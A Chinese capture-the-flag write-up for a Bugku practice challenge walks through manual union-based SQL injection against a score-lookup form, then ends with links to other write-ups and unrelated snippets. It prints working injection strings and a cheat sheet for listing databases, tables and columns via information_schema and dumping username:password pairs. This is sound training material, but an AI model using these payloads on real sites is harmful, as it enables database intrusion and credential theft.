Day18

成绩单

快来查查成绩吧
http://123.206.87.240:8002/chengjidan/

本题要点:sql手注、查询基础命令

首先查看一下源码
 
 
没什么有用的信息
 
看到表单类型,我们应该想到sql注入
 
 
 
先对它进行一个判断
1.先测试正常数据,用火狐的hackbar插件post请求,一切正常 
 
 
 
 
2.加上单引号’则数据为空,但是再加上注释符#就又正常了 
 
 
3. 然后尝试获取列数,因为已经有名字和三科成绩了,所以就测试4或者更高,得知是4列 
因为构造id=1' order by 5#时,没有正常回显,id=1' order by 4#时,正常回显,所以判断有4列。
 
 
 
4.尝试联合查询,记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这四列数据 
 
 
对于刚接触sql注入的初学者来说,大家可以多试几次,比如将id分别换成1,2,3 .....
 
我们可以看到当id=4的时候,页面就和当id=0的时候回显一样了
 
 
5.下面我们开始猜解数据库名, 数据库的用户,数据库的版本(没有顺序,把1留出来只是因为表单看起来顺眼而已....)
 
 
 
6.根据数据库skctf_flag去查询表名
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
 
这是一个固定格式~
 
 
 
 

注意,这里穿插一个知识点!!!!!!

union select 手工注入

mysql中的information_schema 结构用来存储数据库系统信息 
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。  
 
SCHEMATA 存储数据库名的, 
关键字段:SCHEMA_NAME,表示数据库名称 
TABLES 存储表名的 
关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示表的名称 
COLUMNS 存储字段名的 
关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示所属的表的名称 
COLUMN_NAME表示字段名 
 
 
爆所有数据名 
select group_concat(SCHEMA_NAME) from information_schema.schemata 
得到当前库的所有表 
select group_concat(table_name) from information_schema.tables where table_schema=database() 
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572 
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 
得到字段具体的值     select group_concat(username,0x3a,password) from adminuser

补充结束

 
 
7.然后根据fl4g表去查询列名 
 
 
得到字段skctf_flag,即为列名
 
8.这样我们拿到 列名 之后直接去获取数据
 
 
 
 
 
完成!

Bugku-CTF之成绩单(快来查查成绩吧)的更多相关文章

  1. Bugku CTF练习题---MISC---贝斯手

    Bugku CTF练习题---MISC---贝斯手 flag:flag{this_is_md5_and_base58} 解题步骤: 1.观察题目,下载附件 2.下载后进行解压,得到了一张图片.一个压缩 ...

  2. Bugku CTF练习题---MISC---telnet

    Bugku CTF练习题---MISC---telnet flag:flag{d316759c281bf925d600be698a4973d5} 解题步骤: 1.观察题目,下载附件 2.拿到手以后发现 ...

  3. Bugku CTF练习题---MISC---眼见非实

    Bugku CTF练习题---MISC---眼见非实 flag:flag{F1@g} 解题步骤: 1.观察题目,下载附件 2.拿到手以后发现是一个压缩包,打开是一个Word文档,观察其中的内容,除了开 ...

  4. Bugku CTF练习题---MISC---宽带信息泄露

    Bugku CTF练习题---MISC---宽带信息泄露 flag:053700357621 解题步骤: 1.观察题目,下载附件 2.下载到电脑里发现是一个bin文件,二进制文件的一个种类,再看名称为 ...

  5. Bugku CTF练习题---MISC---这是一张单纯的图片

    Bugku CTF练习题---MISC---这是一张单纯的图片 flag:key{you are right} 解题步骤: 1.观察题目,下载附件 2.打开以后发现是一张图片,修改文件扩展名,查看属性 ...

  6. Bugku CTF练习题---加密---ok

    Bugku CTF练习题---加密---ok flag:flag{ok-ctf-1234-admin} 解题步骤: 1.观察题目,发现规律 2.发现所有内容都是ook写的, 直接上网搜索一下原因,发现 ...

  7. Bugku CTF练习题---加密---聪明的小羊

    Bugku CTF练习题---加密---聪明的小羊 flag:KEY{sad23jjdsa2} 解题步骤: 1.观察题目,发现其中的信息 2.经过题目判断,得知该题属于栅栏密码的一种,并且介绍中表明了 ...

  8. Bugku CTF练习题---分析---flag被盗

    Bugku CTF练习题---分析---flag被盗 flag:flag{This_is_a_f10g} 解题步骤: 1.观察题目,下载附件 2.下载的文件是一个数据包,果断使用wireshark打开 ...

  9. Bugku CTF练习题---杂项---隐写3

    Bugku CTF练习题---杂项---隐写3 flag:flag{He1l0_d4_ba1} 解题步骤: 1.观察题目,下载附件 2.打开图片,发现是一张大白,仔细观察一下总感觉少了点东西,这张图好 ...

随机推荐

  1. MTCP 在 64 位机器上不工作

    今天打开以前写的 MTCP, 却无法运行. 报错如下: Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: ...

  2. python练习题-day18

    1.匹配一行文字中的所有开头的字母内容 import re s="i love you not because of who you are, but because of who i am ...

  3. Hint: Fallback method 'public java.lang.String queryUserByIdFallback(java.lang.Long)' must return: User or its subclass

    1.错误日志 熔断器添加错误方法返回时,报了一个 error. com.netflix.hystrix.contrib.javanica.exception.FallbackDefinitionExc ...

  4. spring注解:反射与配置

    上图运行结果按下图配置文件中的配置,进行的spring扫描加载.无论是componentScan方式,还是xml配置方式,如果one是实现了一个接口的类,如one_Interface,那么在程序中用o ...

  5. 【git】强制覆盖本地代码(与git远程仓库保持一致)

    git强制覆盖:    git fetch --all    git reset --hard origin/master    git pull git强制覆盖本地命令(单条执行):    git ...

  6. Log print(Android)

        Log.v("MyTag", "This is Verbose.");    Log.d("MyTag", "This i ...

  7. spring batch (一) 常见的基本的概念介绍

    SpringBatch的基本概念介绍 内容来自<Spring Batch 批处理框架>,作者:刘相. 一.配置文件 在项目中使用spring batch 需要在配置文件中声明: 事务管理器 ...

  8. sping Bean 的生命周期是如何被管理

    1. 实例化一个Bean,也就是我们通常说的new 2. 按照Spring上下文对实例化的Bean进行配置,也就是IOC注入 3. 如果这个Bean实现了BeanNameAware接口,会调用它实现的 ...

  9. redis----------基本命令使用

    1.查看全部缓存数据的key keys * 2.清空当前redis数据库缓存 flushdb  (redis默认由16个库(0~15号). 且默认使用的是0号库.库之间的切换使用select命令例如: ...

  10. Ajax请求二进制流并在页面展示

    后端代码: public void getIntegralQrcode(HttpServletResponse response, String token) throws BizException, ...